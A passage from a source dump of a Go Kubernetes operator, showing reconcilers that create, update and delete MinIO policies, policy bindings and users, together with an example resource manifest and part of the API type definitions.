struct { 932 | client.Client 933 | logger logr.Logger 934 | syncInterval time.Duration 935 | } 936 | 937 | // Builds a controller with a [minioPolicyReconciler]. 938 | // Registers this controller with a [manager.Manager] instance. 939 | // Returns an error if a controller cannot be built. 940 | func (r *minioPolicyReconciler) register(m manager.Manager) error { 941 | r.Client = m.GetClient() 942 | ctrl, err := builder.ControllerManagedBy(m).For(&v1.MinioPolicy{}).Build(r) 943 | if err != nil { 944 | return err 945 | } 946 | r.logger = ctrl.GetLogger() 947 | return nil 948 | } 949 | 950 | // Used to compute whether a minio policy has changed 951 | func getHash(o interface{}) string { 952 | hw := sha512.New512_256() 953 | mps, ok := o.(*v1.MinioPolicySpec) 954 | if ok { 955 | var d []string 956 | var a []string 957 | d = append(d, mps.Version) 958 | for _, ps := range mps.Statement { 959 | a = append(a, getHash(ps)) 960 | } 961 | slices.Sort(a) 962 | d = append(d, strings.Join(a, ",")) 963 | hw.Write([]byte(strings.Join(d, "|"))) 964 | } 965 | mpst, ok := o.(v1.MinioPolicyStatement) 966 | if ok { 967 | var d []string 968 | var a []string 969 | a = append(a, mpst.Action...) 970 | slices.Sort(a) 971 | d = append(d, strings.Join(a, ",")) 972 | d = append(d, mpst.Effect) 973 | a = []string{} 974 | a = append(a, mpst.Resource...) 975 | slices.Sort(a) 976 | d = append(d, strings.Join(a, ",")) 977 | hw.Write([]byte(strings.Join(d, "|"))) 978 | } 979 | h := hw.Sum(nil) 980 | return string(h) 981 | } 982 | 983 | // +kubebuilder:rbac:groups=bfiola.dev,resources=miniopolicies,verbs=get;list;update;watch 984 | 985 | // Reconciles a [reconcile.Request] associated with a [v1.MinioPolicy]. 986 | // Returns a error if reconciliation fails. 987 | func (r *minioPolicyReconciler) Reconcile(ctx context.Context, req reconcile.Request) (reconcile.Result, error) { 988 | l := r.logger.WithValues("resource", req.NamespacedName.String()) 989 | l.Info("reconcile") 990 | 991 | p := &v1.MinioPolicy{} 992 | err := r.Get(ctx, req.NamespacedName, p) 993 | if err != nil { 994 | return reconcile.Result{}, client.IgnoreNotFound(err) 995 | } 996 | 997 | success := func() (reconcile.Result, error) { return reconcile.Result{RequeueAfter: r.syncInterval}, nil } 998 | failure := func(err error) (reconcile.Result, error) { return reconcile.Result{}, err } 999 | 1000 | if !p.ObjectMeta.DeletionTimestamp.IsZero() { 1001 | l.Info("marked for deletion") 1002 | 1003 | if p.Status.CurrentSpec != nil { 1004 | l.Info("delete policy (status set)") 1005 | 1006 | l.Info("get tenant client") 1007 | tr := p.Status.CurrentSpec.TenantRef.SetDefaultNamespace(p.GetNamespace()) 1008 | mtci, err := getMinioTenantClientInfo(ctx, r, tr) 1009 | if err != nil { 1010 | return failure(err) 1011 | } 1012 | mtac, err := mtci.GetAdminClient(ctx) 1013 | if err != nil { 1014 | return failure(err) 1015 | } 1016 | 1017 | l.Info("delete minio policy") 1018 | err = mtac.RemoveCannedPolicy(ctx, p.Status.CurrentSpec.Name) 1019 | if err != nil { 1020 | return failure(err) 1021 | } 1022 | 1023 | l.Info("clear status") 1024 | p.Status.CurrentSpec = nil 1025 | err = r.Update(ctx, p) 1026 | if err != nil { 1027 | return failure(err) 1028 | } 1029 | 1030 | return success() 1031 | } 1032 | 1033 | l.Info("clear finalizer") 1034 | controllerutil.RemoveFinalizer(p, finalizer) 1035 | err = r.Update(ctx, p) 1036 | if err != nil { 1037 | return failure(err) 1038 | } 1039 | 1040 | return success() 1041 | } 1042 | 1043 | if !controllerutil.ContainsFinalizer(p, finalizer) { 1044 | l.Info("add finalizer") 1045 | controllerutil.AddFinalizer(p, finalizer) 1046 | err = r.Update(ctx, p) 1047 | if err != nil { 1048 | return failure(err) 1049 | } 1050 | 1051 | return success() 1052 | } 1053 | 1054 | if p.Status.CurrentSpec != nil { 1055 | l.Info("check for policy change") 1056 | 1057 | if p.Spec.Migrate { 1058 | l.Info("remove migrate spec field") 1059 | p.Spec.Migrate = false 1060 | err = r.Update(ctx, p) 1061 | if err != nil { 1062 | return failure(err) 1063 | } 1064 | } 1065 | 1066 | l.Info("get tenant admin client") 1067 | tr := p.Status.CurrentSpec.TenantRef.SetDefaultNamespace(p.GetNamespace()) 1068 | mtci, err := getMinioTenantClientInfo(ctx, r, tr) 1069 | if err != nil { 1070 | return failure(err) 1071 | } 1072 | mtac, err := mtci.GetAdminClient(ctx) 1073 | if err != nil { 1074 | return failure(err) 1075 | } 1076 | 1077 | l.Info("get minio policy") 1078 | mp, err := mtac.InfoCannedPolicyV2(ctx, p.Status.CurrentSpec.Name) 1079 | e := !isMadminErrorCode(err, "XMinioAdminNoSuchPolicy") 1080 | err = ignoreMadminErrorCode(err, "XMinioAdminNoSuchPolicy") 1081 | if err != nil { 1082 | return failure(err) 1083 | } 1084 | if !e { 1085 | l.Info("clear status (minio policy no longer exists)") 1086 | p.Status.CurrentSpec = nil 1087 | err = r.Update(ctx, p) 1088 | if err != nil { 1089 | return failure(err) 1090 | } 1091 | 1092 | return success() 1093 | } 1094 | 1095 | if !reflect.DeepEqual(p.Status.CurrentSpec.Version, p.Spec.Version) || !reflect.DeepEqual(p.Status.CurrentSpec.Statement, p.Spec.Statement) { 1096 | l.Info("update policy (statement or version changed)") 1097 | 1098 | l.Info("marshal policy") 1099 | pd, err := json.Marshal(map[string]any{ 1100 | "statement": p.Spec.Statement, 1101 | "version": p.Spec.Version, 1102 | }) 1103 | if err != nil { 1104 | return failure(err) 1105 | } 1106 | 1107 | l.Info("update minio policy") 1108 | err = mtac.AddCannedPolicy(ctx, p.Status.CurrentSpec.Name, pd) 1109 | if err != nil { 1110 | return failure(err) 1111 | } 1112 | 1113 | l.Info("set status") 1114 | p.Status.CurrentSpec.Statement = p.Spec.Statement 1115 | p.Status.CurrentSpec.Version = p.Spec.Version 1116 | err = r.Update(ctx, p) 1117 | if err != nil { 1118 | return failure(err) 1119 | } 1120 | 1121 | return success() 1122 | } 1123 | 1124 | l.Info("unmarshal minio policy") 1125 | mps := &v1.MinioPolicySpec{} 1126 | err = json.Unmarshal(mp.Policy, mps) 1127 | if err != nil { 1128 | return failure(err) 1129 | } 1130 | 1131 | if getHash(mps) != getHash(p.Status.CurrentSpec) { 1132 | l.Info("update policy (minio policy and spec differ)") 1133 | 1134 | l.Info("marshal policy") 1135 | pd, err := json.Marshal(map[string]any{ 1136 | "statement": p.Status.CurrentSpec.Statement, 1137 | "version": p.Status.CurrentSpec.Version, 1138 | }) 1139 | if err != nil { 1140 | return failure(err) 1141 | } 1142 | 1143 | l.Info("update minio policy") 1144 | err = mtac.AddCannedPolicy(ctx, p.Status.CurrentSpec.Name, pd) 1145 | if err != nil { 1146 | return failure(err) 1147 | } 1148 | 1149 | return success() 1150 | } 1151 | 1152 | return success() 1153 | } 1154 | 1155 | if p.Status.CurrentSpec == nil { 1156 | l.Info("create policy (status unset)") 1157 | 1158 | l.Info("get tenant admin client") 1159 | tr := p.Spec.TenantRef.SetDefaultNamespace(p.GetNamespace()) 1160 | mtci, err := getMinioTenantClientInfo(ctx, r, tr) 1161 | if err != nil { 1162 | return failure(err) 1163 | } 1164 | mtac, err := mtci.GetAdminClient(ctx) 1165 | if err != nil { 1166 | return failure(err) 1167 | } 1168 | 1169 | l.Info("get minio policy") 1170 | _, err = mtac.InfoCannedPolicyV2(ctx, p.Spec.Name) 1171 | exists := err == nil 1172 | if exists && !p.Spec.Migrate { 1173 | err = fmt.Errorf("policy %s already exists", p.Spec.Name) 1174 | } 1175 | err = ignoreMadminErrorCode(err, "XMinioAdminNoSuchPolicy") 1176 | if exists && !p.Spec.Migrate { 1177 | return failure(err) 1178 | } 1179 | 1180 | l.Info("marshal policy to json") 1181 | pd, err := json.Marshal(map[string]any{ 1182 | "statement": p.Spec.Statement, 1183 | "version": p.Spec.Version, 1184 | }) 1185 | if err != nil { 1186 | return failure(err) 1187 | } 1188 | 1189 | l.Info("create minio policy") 1190 | err = mtac.AddCannedPolicy(ctx, p.Spec.Name, pd) 1191 | if err != nil { 1192 | return failure(err) 1193 | } 1194 | 1195 | l.Info("set status") 1196 | p.Spec.Migrate = false 1197 | p.Status.CurrentSpec = &p.Spec 1198 | err = r.Update(ctx, p) 1199 | if err != nil { 1200 | return failure(err) 1201 | } 1202 | 1203 | return success() 1204 | } 1205 | 1206 | return success() 1207 | } 1208 | 1209 | // minioPolicyBindingReconciler reconciles [v1.MinioPolicyBinding] resources 1210 | type minioPolicyBindingReconciler struct { 1211 | client.Client 1212 | logger logr.Logger 1213 | syncInterval time.Duration 1214 | } 1215 | 1216 | // Builds a controller with a [minioPolicyBindingReconciler]. 1217 | // Registers this controller with a [manager.Manager] instance. 1218 | // Returns an error if a controller cannot be built. 1219 | func (r *minioPolicyBindingReconciler) register(m manager.Manager) error { 1220 | r.Client = m.GetClient() 1221 | ctrl, err := builder.ControllerManagedBy(m).For(&v1.MinioPolicyBinding{}).Build(r) 1222 | if err != nil { 1223 | return err 1224 | } 1225 | r.logger = ctrl.GetLogger() 1226 | return nil 1227 | } 1228 | 1229 | // +kubebuilder:rbac:groups=bfiola.dev,resources=miniopolicybindings,verbs=get;list;update;watch 1230 | 1231 | // Reconciles a [reconcile.Request] associated with a [v1.MinioPolicyBinding]. 1232 | // Returns a error if reconciliation fails. 1233 | func (r *minioPolicyBindingReconciler) Reconcile(ctx context.Context, req reconcile.Request) (reconcile.Result, error) { 1234 | l := r.logger.WithValues("resource", req.NamespacedName.String()) 1235 | l.Info("reconcile") 1236 | 1237 | pb := &v1.MinioPolicyBinding{} 1238 | err := r.Get(ctx, req.NamespacedName, pb) 1239 | if err != nil { 1240 | return reconcile.Result{}, client.IgnoreNotFound(err) 1241 | } 1242 | 1243 | success := func() (reconcile.Result, error) { return reconcile.Result{RequeueAfter: r.syncInterval}, nil } 1244 | failure := func(err error) (reconcile.Result, error) { return reconcile.Result{}, err } 1245 | detachPolicyMember := func() error { 1246 | l.Info("get tenant admin client") 1247 | tr := pb.Status.CurrentSpec.TenantRef.SetDefaultNamespace(pb.GetNamespace()) 1248 | mtci, err := getMinioTenantClientInfo(ctx, r, tr) 1249 | if err != nil { 1250 | return err 1251 | } 1252 | mtac, err := mtci.GetAdminClient(ctx) 1253 | if err != nil { 1254 | return err 1255 | } 1256 | 1257 | l.Info("detach minio policy from identity") 1258 | ldap := pb.Status.CurrentSpec.Group.Ldap != "" || pb.Status.CurrentSpec.User.Ldap != "" 1259 | if ldap { 1260 | _, err = mtac.DetachPolicyLDAP(ctx, madmin.PolicyAssociationReq{ 1261 | Group: pb.Status.CurrentSpec.Group.Ldap, 1262 | Policies: []string{pb.Status.CurrentSpec.Policy}, 1263 | User: pb.Status.CurrentSpec.User.Ldap, 1264 | }) 1265 | } else { 1266 | _, err = mtac.DetachPolicy(ctx, madmin.PolicyAssociationReq{ 1267 | Group: pb.Status.CurrentSpec.Group.Builtin, 1268 | Policies: []string{pb.Status.CurrentSpec.Policy}, 1269 | User: pb.Status.CurrentSpec.User.Builtin, 1270 | }) 1271 | } 1272 | err = ignoreMadminErrorCode(err, "XMinioAdminNoSuchUser") 1273 | err = ignoreMadminErrorCode(err, "XMinioAdminNoSuchGroup") 1274 | if err != nil { 1275 | return err 1276 | } 1277 | 1278 | l.Info("clear status") 1279 | pb.Status.CurrentSpec = nil 1280 | err = r.Update(ctx, pb) 1281 | if err != nil { 1282 | return err 1283 | } 1284 | 1285 | return nil 1286 | } 1287 | 1288 | if !pb.ObjectMeta.DeletionTimestamp.IsZero() { 1289 | l.Info("marked for deletion") 1290 | 1291 | if pb.Status.CurrentSpec != nil { 1292 | l.Info("detach policy member (status set)") 1293 | 1294 | err = detachPolicyMember() 1295 | if err != nil { 1296 | return failure(err) 1297 | } 1298 | 1299 | return success() 1300 | } 1301 | 1302 | l.Info("clear finalizer") 1303 | controllerutil.RemoveFinalizer(pb, finalizer) 1304 | err = r.Update(ctx, pb) 1305 | if err != nil { 1306 | return failure(err) 1307 | } 1308 | 1309 | return success() 1310 | } 1311 | 1312 | if !controllerutil.ContainsFinalizer(pb, finalizer) { 1313 | l.Info("add finalizer") 1314 | controllerutil.AddFinalizer(pb, finalizer) 1315 | err = r.Update(ctx, pb) 1316 | if err != nil { 1317 | return failure(err) 1318 | } 1319 | 1320 | return success() 1321 | } 1322 | 1323 | if pb.Status.CurrentSpec != nil { 1324 | l.Info("check for policy binding change") 1325 | 1326 | if pb.Spec.Migrate { 1327 | l.Info("remove migrate spec field") 1328 | pb.Spec.Migrate = false 1329 | err = r.Update(ctx, pb) 1330 | if err != nil { 1331 | return failure(err) 1332 | } 1333 | } 1334 | 1335 | l.Info("get tenant admin client") 1336 | tr := pb.Status.CurrentSpec.TenantRef.SetDefaultNamespace(pb.GetNamespace()) 1337 | mtci, err := getMinioTenantClientInfo(ctx, r, tr) 1338 | if err != nil { 1339 | return failure(err) 1340 | } 1341 | mac, err := mtci.GetAdminClient(ctx) 1342 | if err != nil { 1343 | return failure(err) 1344 | } 1345 | 1346 | if !reflect.DeepEqual(*pb.Status.CurrentSpec, pb.Spec) { 1347 | l.Info("detach policy member (status and spec differ)") 1348 | err = detachPolicyMember() 1349 | if err != nil { 1350 | return failure(err) 1351 | } 1352 | 1353 | return success() 1354 | } 1355 | 1356 | l.Info("list policy entities") 1357 | ldap := pb.Status.CurrentSpec.Group.Ldap != "" || pb.Status.CurrentSpec.User.Ldap != "" 1358 | found := false 1359 | if ldap { 1360 | pes, err := mac.GetLDAPPolicyEntities(ctx, madmin.PolicyEntitiesQuery{Policy: []string{pb.Status.CurrentSpec.Policy}}) 1361 | if err != nil { 1362 | return failure(err) 1363 | } 1364 | ipdc, err := mac.GetIDPConfig(ctx, "ldap", "") 1365 | if err != nil { 1366 | return failure(err) 1367 | } 1368 | usbdn := "" 1369 | for _, ipdci := range ipdc.Info { 1370 | if ipdci.Key != "user_dn_search_base_dn" { 1371 | continue 1372 | } 1373 | usbdn = ipdci.Value 1374 | break 1375 | } 1376 | for _, pm := range pes.PolicyMappings { 1377 | u := pb.Status.CurrentSpec.User.Ldap 1378 | if u != "" && usbdn != "" && !strings.HasPrefix(u, "cn=") { 1379 | u = fmt.Sprintf("cn=%s,%s", u, usbdn) 1380 | } 1381 | if slices.Contains(pm.Groups, pb.Status.CurrentSpec.Group.Ldap) || slices.Contains(pm.Users, u) { 1382 | found = true 1383 | break 1384 | } 1385 | } 1386 | } else { 1387 | pes, err := mac.GetPolicyEntities(ctx, madmin.PolicyEntitiesQuery{Policy: []string{pb.Status.CurrentSpec.Policy}}) 1388 | if err != nil { 1389 | return failure(err) 1390 | } 1391 | for _, pm := range pes.PolicyMappings { 1392 | if slices.Contains(pm.Groups, pb.Status.CurrentSpec.Group.Builtin) || slices.Contains(pm.Users, pb.Status.CurrentSpec.User.Builtin) { 1393 | found = true 1394 | break 1395 | } 1396 | } 1397 | } 1398 | if !found { 1399 | l.Info("clear status (policy binding no longer found)") 1400 | pb.Status.CurrentSpec = nil 1401 | err = r.Update(ctx, pb) 1402 | if err != nil { 1403 | return failure(err) 1404 | } 1405 | 1406 | return success() 1407 | } 1408 | } 1409 | 1410 | if pb.Status.CurrentSpec == nil { 1411 | l.Info("attach policy member (status unset)") 1412 | 1413 | l.Info("get tenant admin client") 1414 | tr := pb.Spec.TenantRef.SetDefaultNamespace(pb.GetNamespace()) 1415 | mtci, err := getMinioTenantClientInfo(ctx, r, tr) 1416 | if err != nil { 1417 | return failure(err) 1418 | } 1419 | mtac, err := mtci.GetAdminClient(ctx) 1420 | if err != nil { 1421 | return failure(err) 1422 | } 1423 | 1424 | l.Info("attach minio policy to identity") 1425 | ldap := pb.Spec.Group.Ldap != "" || pb.Spec.User.Ldap != "" 1426 | if ldap { 1427 | _, err = mtac.AttachPolicyLDAP(ctx, madmin.PolicyAssociationReq{ 1428 | Group: pb.Spec.Group.Ldap, 1429 | Policies: []string{pb.Spec.Policy}, 1430 | User: pb.Spec.User.Ldap, 1431 | }) 1432 | } else { 1433 | _, err = mtac.AttachPolicy(ctx, madmin.PolicyAssociationReq{ 1434 | Group: pb.Spec.Group.Builtin, 1435 | Policies: []string{pb.Spec.Policy}, 1436 | User: pb.Spec.User.Builtin, 1437 | }) 1438 | } 1439 | if pb.Spec.Migrate { 1440 | err = ignoreMadminErrorCode(err, "XMinioAdminPolicyChangeAlreadyApplied") 1441 | } 1442 | if err != nil { 1443 | return failure(err) 1444 | } 1445 | 1446 | l.Info("set status") 1447 | pb.Spec.Migrate = false 1448 | pb.Status.CurrentSpec = &pb.Spec 1449 | err = r.Update(ctx, pb) 1450 | if err != nil { 1451 | return failure(err) 1452 | } 1453 | 1454 | return success() 1455 | } 1456 | 1457 | return success() 1458 | } 1459 | 1460 | // minioUserReconciler reconciles [v1.MinioUser] resources 1461 | type minioUserReconciler struct { 1462 | client.Client 1463 | logger logr.Logger 1464 | syncInterval time.Duration 1465 | } 1466 | 1467 | // Builds a controller with a [minioUserReconciler]. 1468 | // Registers this controller with a [manager.Manager] instance. 1469 | // Returns an error if a controller cannot be built. 1470 | func (r *minioUserReconciler) register(m manager.Manager) error { 1471 | r.Client = m.GetClient() 1472 | ctrl, err := builder.ControllerManagedBy(m).For(&v1.MinioUser{}).Build(r) 1473 | if err != nil { 1474 | return err 1475 | } 1476 | r.logger = ctrl.GetLogger() 1477 | return nil 1478 | } 1479 | 1480 | // +kubebuilder:rbac:groups=core,resources=secrets,verbs=get 1481 | // +kubebuilder:rbac:groups=bfiola.dev,resources=miniousers,verbs=get;list;update;watch 1482 | 1483 | // Reconciles a [reconcile.Request] associated with a [v1.MinioUser]. 1484 | // Returns a error if reconciliation fails. 1485 | func (r *minioUserReconciler) Reconcile(ctx context.Context, req reconcile.Request) (reconcile.Result, error) { 1486 | l := r.logger.WithValues("resource", req.NamespacedName.String()) 1487 | l.Info("reconcile") 1488 | 1489 | u := &v1.MinioUser{} 1490 | err := r.Get(ctx, req.NamespacedName, u) 1491 | if err != nil { 1492 | return reconcile.Result{}, client.IgnoreNotFound(err) 1493 | } 1494 | 1495 | success := func() (reconcile.Result, error) { return reconcile.Result{RequeueAfter: r.syncInterval}, nil } 1496 | failure := func(err error) (reconcile.Result, error) { return reconcile.Result{}, err } 1497 | 1498 | if !u.ObjectMeta.DeletionTimestamp.IsZero() { 1499 | l.Info("marked for deletion") 1500 | 1501 | if u.Status.CurrentSpec != nil { 1502 | l.Info("delete user (status set)") 1503 | 1504 | l.Info("get tenant admin client") 1505 | tr := u.Status.CurrentSpec.TenantRef.SetDefaultNamespace(u.GetNamespace()) 1506 | mtci, err := getMinioTenantClientInfo(ctx, r, tr) 1507 | if err != nil { 1508 | return failure(err) 1509 | } 1510 | mtac, err := mtci.GetAdminClient(ctx) 1511 | if err != nil { 1512 | return failure(err) 1513 | } 1514 | 1515 | l.Info("delete minio user") 1516 | err = mtac.RemoveUser(ctx, u.Status.CurrentSpec.AccessKey) 1517 | err = ignoreMadminErrorCode(err, "XMinioAdminNoSuchUser") 1518 | if err != nil { 1519 | return failure(err) 1520 | } 1521 | 1522 | l.Info("clear status") 1523 | u.Status.CurrentSpec = nil 1524 | err = r.Update(ctx, u) 1525 | if err != nil { 1526 | return failure(err) 1527 | } 1528 | 1529 | return success() 1530 | } 1531 | 1532 | l.Info("clear finalizer") 1533 | controllerutil.RemoveFinalizer(u, finalizer) 1534 | err = r.Update(ctx, u) 1535 | if err != nil { 1536 | return failure(err) 1537 | } 1538 | 1539 | return success() 1540 | } 1541 | 1542 | if !controllerutil.ContainsFinalizer(u, finalizer) { 1543 | l.Info("add finalizer") 1544 | controllerutil.AddFinalizer(u, finalizer) 1545 | err = r.Update(ctx, u) 1546 | if err != nil { 1547 | return failure(err) 1548 | } 1549 | 1550 | return success() 1551 | } 1552 | 1553 | if u.Status.CurrentSpec != nil { 1554 | l.Info("check for user change") 1555 | 1556 | if u.Spec.Migrate { 1557 | l.Info("remove migrate spec field") 1558 | u.Spec.Migrate = false 1559 | err = r.Update(ctx, u) 1560 | if err != nil { 1561 | return failure(err) 1562 | } 1563 | } 1564 | 1565 | l.Info("get tenant admin client") 1566 | tr := u.Status.CurrentSpec.TenantRef.SetDefaultNamespace(u.GetNamespace()) 1567 | mtci, err := getMinioTenantClientInfo(ctx, r, tr) 1568 | if err != nil { 1569 | return failure(err) 1570 | } 1571 | mtac, err := mtci.GetAdminClient(ctx) 1572 | if err != nil { 1573 | return failure(err) 1574 | } 1575 | 1576 | l.Info("get minio user") 1577 | _, err = mtac.GetUserInfo(ctx, u.Status.CurrentSpec.AccessKey) 1578 | e := !isMadminErrorCode(err, "XMinioAdminNoSuchUser") 1579 | err = ignoreMadminErrorCode(err, "XMinioAdminNoSuchUser") 1580 | if err != nil { 1581 | return failure(err) 1582 | } 1583 | if !e { 1584 | l.Info("clear status (minio user no longer exists)") 1585 | u.Status.CurrentSpec = nil 1586 | err = r.Update(ctx, u) 1587 | if err != nil { 1588 | return failure(err) 1589 | } 1590 | 1591 | return success() 1592 | } 1593 | 1594 | l.Info("get secret from secret key ref") 1595 | usrr := u.Status.CurrentSpec.SecretKeyRef.SetDefaultNamespace(req.Namespace) 1596 | us := &corev1.Secret{} 1597 | err = r.Get(ctx, types.NamespacedName{Name: usrr.Name, Namespace: usrr.Namespace}, us) 1598 | if err != nil { 1599 | return failure(err) 1600 | } 1601 | if us.GetResourceVersion() != u.Status.CurrentSecretKeyRefResourceVersion { 1602 | l.Info("update user (secret key ref change)") 1603 | usk := string(us.Data[u.Status.CurrentSpec.SecretKeyRef.Key]) 1604 | err = mtac.AddUser(ctx, u.Status.CurrentSpec.AccessKey, usk) 1605 | if err != nil { 1606 | return failure(err) 1607 | } 1608 | 1609 | l.Info("set status") 1610 | u.Status.CurrentSecretKeyRefResourceVersion = us.GetResourceVersion() 1611 | err = r.Update(ctx, u) 1612 | if err != nil { 1613 | return failure(err) 1614 | } 1615 | 1616 | return success() 1617 | } 1618 | } 1619 | 1620 | if u.Status.CurrentSpec == nil { 1621 | l.Info("create user (status unset)") 1622 | 1623 | l.Info("get tenant admin client") 1624 | tr := u.Spec.TenantRef.SetDefaultNamespace(u.GetNamespace()) 1625 | mtci, err := getMinioTenantClientInfo(ctx, r, tr) 1626 | if err != nil { 1627 | return failure(err) 1628 | } 1629 | mtac, err := mtci.GetAdminClient(ctx) 1630 | if err != nil { 1631 | return failure(err) 1632 | } 1633 | 1634 | l.Info("get minio user") 1635 | _, err = mtac.GetUserInfo(ctx, u.Spec.AccessKey) 1636 | exists := err == nil 1637 | if exists && !u.Spec.Migrate { 1638 | err = fmt.Errorf("user %s already exists", u.Spec.AccessKey) 1639 | } 1640 | err = ignoreMadminErrorCode(err, "XMinioAdminNoSuchUser") 1641 | if err != nil { 1642 | return failure(err) 1643 | } 1644 | 1645 | l.Info("get secret from secret key ref") 1646 | usrr := u.Spec.SecretKeyRef.SetDefaultNamespace(req.Namespace) 1647 | us := &corev1.Secret{} 1648 | err = r.Get(ctx, types.NamespacedName{Name: usrr.Name, Namespace: usrr.Namespace}, us) 1649 | if err != nil { 1650 | return failure(err) 1651 | } 1652 | usk := string(us.Data[u.Spec.SecretKeyRef.Key]) 1653 | 1654 | l.Info("create minio user") 1655 | err = mtac.AddUser(ctx, u.Spec.AccessKey, usk) 1656 | if err != nil { 1657 | return failure(err) 1658 | } 1659 | 1660 | l.Info("set status") 1661 | u.Spec.Migrate = false 1662 | u.Status.CurrentSpec = &u.Spec 1663 | u.Status.CurrentSecretKeyRefResourceVersion = us.GetResourceVersion() 1664 | err = r.Update(ctx, u) 1665 | if err != nil { 1666 | return failure(err) 1667 | } 1668 | 1669 | return success() 1670 | } 1671 | 1672 | return success() 1673 | } 1674 | -------------------------------------------------------------------------------- /manifests/example-resources.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: bfiola.dev/v1 2 | kind: MinioBucket 3 | metadata: 4 | name: bucket 5 | spec: 6 | deletionPolicy: IfEmpty 7 | name: bucket 8 | tenantRef: 9 | namespace: minio-tenant 10 | name: myminio 11 | --- 12 | apiVersion: v1 13 | kind: Secret 14 | metadata: 15 | name: builtin-user 16 | stringData: 17 | secretKey: password 18 | --- 19 | apiVersion: bfiola.dev/v1 20 | kind: MinioUser 21 | metadata: 22 | name: builtin-user 23 | spec: 24 | accessKey: builtin-user 25 | secretKeyRef: 26 | name: builtin-user 27 | key: secretKey 28 | tenantRef: 29 | namespace: minio-tenant 30 | name: myminio 31 | --- 32 | apiVersion: bfiola.dev/v1 33 | kind: MinioGroup 34 | metadata: 35 | name: builtin-group 36 | spec: 37 | name: builtin-group 38 | tenantRef: 39 | namespace: minio-tenant 40 | name: myminio 41 | --- 42 | apiVersion: bfiola.dev/v1 43 | kind: MinioGroupBinding 44 | metadata: 45 | name: builtin-user-to-builtin-group 46 | spec: 47 | group: builtin-group 48 | tenantRef: 49 | namespace: minio-tenant 50 | name: myminio 51 | user: builtin-user 52 | --- 53 | apiVersion: bfiola.dev/v1 54 | kind: MinioPolicy 55 | metadata: 56 | name: policy 57 | spec: 58 | name: policy 59 | statement: 60 | - effect: "Allow" 61 | action: 62 | - "s3:AbortMultipartUpload" 63 | - "s3:DeleteObject" 64 | - "s3:ListMultipartUploadParts" 65 | - "s3:PutObject" 66 | - "s3:GetObject" 67 | resource: 68 | - "arn:aws:s3:::bucket/*" 69 | - effect: "Allow" 70 | action: 71 | - "s3:GetBucketLocation" 72 | - "s3:ListBucket" 73 | - "s3:ListBucketMultipartUploads" 74 | resource: 75 | - "arn:aws:s3:::bucket" 76 | tenantRef: 77 | namespace: minio-tenant 78 | name: myminio 79 | version: "2012-10-17" 80 | --- 81 | apiVersion: bfiola.dev/v1 82 | kind: MinioPolicyBinding 83 | metadata: 84 | name: builtin-user-to-policy 85 | spec: 86 | policy: policy 87 | tenantRef: 88 | namespace: minio-tenant 89 | name: myminio 90 | user: 91 | builtin: builtin-user 92 | --- 93 | apiVersion: bfiola.dev/v1 94 | kind: MinioPolicyBinding 95 | metadata: 96 | name: builtin-group-to-policy 97 | spec: 98 | group: 99 | builtin: builtin-group 100 | policy: policy 101 | tenantRef: 102 | namespace: minio-tenant 103 | name: myminio 104 | --- 105 | apiVersion: bfiola.dev/v1 106 | kind: MinioPolicyBinding 107 | metadata: 108 | name: ldap-user-to-policy 109 | spec: 110 | policy: policy 111 | tenantRef: 112 | namespace: minio-tenant 113 | name: myminio 114 | user: 115 | ldap: ldap-user1 116 | --- 117 | apiVersion: bfiola.dev/v1 118 | kind: MinioPolicyBinding 119 | metadata: 120 | name: ldap-group-to-policy 121 | spec: 122 | group: 123 | ldap: "cn=ldap-group,ou=users,dc=example,dc=org" 124 | policy: policy 125 | tenantRef: 126 | namespace: minio-tenant 127 | name: myminio 128 | -------------------------------------------------------------------------------- /pkg/api/bfiola.dev/v1/common.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright (C) 2025 Ben Fiola 3 | 4 | This program is free software: you can redistribute it and/or modify 5 | it under the terms of the GNU Affero General Public License as published by 6 | the Free Software Foundation, either version 3 of the License, or 7 | (at your option) any later version. 8 | 9 | This program is distributed in the hope that it will be useful, 10 | but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | GNU Affero General Public License for more details. 13 | 14 | You should have received a copy of the GNU Affero General Public License 15 | along with this program. If not, see . 16 | */ 17 | package v1 18 | 19 | import ( 20 | metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" 21 | "k8s.io/apimachinery/pkg/runtime" 22 | "k8s.io/apimachinery/pkg/runtime/schema" 23 | ) 24 | 25 | // +groupName=bfiola.dev 26 | 27 | // SchemeGroupVersion is group version used to register these objects 28 | var SchemeGroupVersion = schema.GroupVersion{Group: "bfiola.dev", Version: "v1"} 29 | 30 | // Kind takes an unqualified kind and returns back a Group qualified GroupKind 31 | func Kind(kind string) schema.GroupKind { 32 | return SchemeGroupVersion.WithKind(kind).GroupKind() 33 | } 34 | 35 | // Resource takes an unqualified resource and returns a Group qualified GroupResource 36 | func Resource(resource string) schema.GroupResource { 37 | return SchemeGroupVersion.WithResource(resource).GroupResource() 38 | } 39 | 40 | var ( 41 | // SchemeBuilder initializes a scheme builder 42 | SchemeBuilder = runtime.NewSchemeBuilder(addKnownTypes) 43 | // AddToScheme is a global function that registers this API group & version to a scheme 44 | AddToScheme = SchemeBuilder.AddToScheme 45 | ) 46 | 47 | // Adds the list of known types to Scheme. 48 | func addKnownTypes(scheme *runtime.Scheme) error { 49 | scheme.AddKnownTypes(SchemeGroupVersion, 50 | &MinioBucket{}, 51 | &MinioBucketList{}, 52 | &MinioGroup{}, 53 | &MinioGroupList{}, 54 | &MinioGroupBinding{}, 55 | &MinioGroupBindingList{}, 56 | &MinioPolicy{}, 57 | &MinioPolicyList{}, 58 | &MinioPolicyBinding{}, 59 | &MinioPolicyBindingList{}, 60 | &MinioUser{}, 61 | &MinioUserList{}, 62 | ) 63 | metav1.AddToGroupVersion(scheme, SchemeGroupVersion) 64 | return nil 65 | } 66 | 67 | // ResourceRef defines a reference to another kubernetes resource 68 | type ResourceRef struct { 69 | Name string `json:"name"` 70 | Namespace string `json:"namespace,omitempty"` 71 | } 72 | 73 | func (rr ResourceRef) SetDefaultNamespace(ns string) ResourceRef { 74 | rrns := rr.Namespace 75 | if rrns == "" { 76 | rrns = ns 77 | } 78 | return ResourceRef{ 79 | Name: rr.Name, 80 | Namespace: rrns, 81 | } 82 | } 83 | 84 | // ResourceKeyRef defines a reference to a key of another kubernetes resource 85 | type ResourceKeyRef struct { 86 | Key string `json:"key"` 87 | Name string `json:"name"` 88 | Namespace string `json:"namespace,omitempty"` 89 | } 90 | 91 | func (rkr ResourceKeyRef) SetDefaultNamespace(ns string) 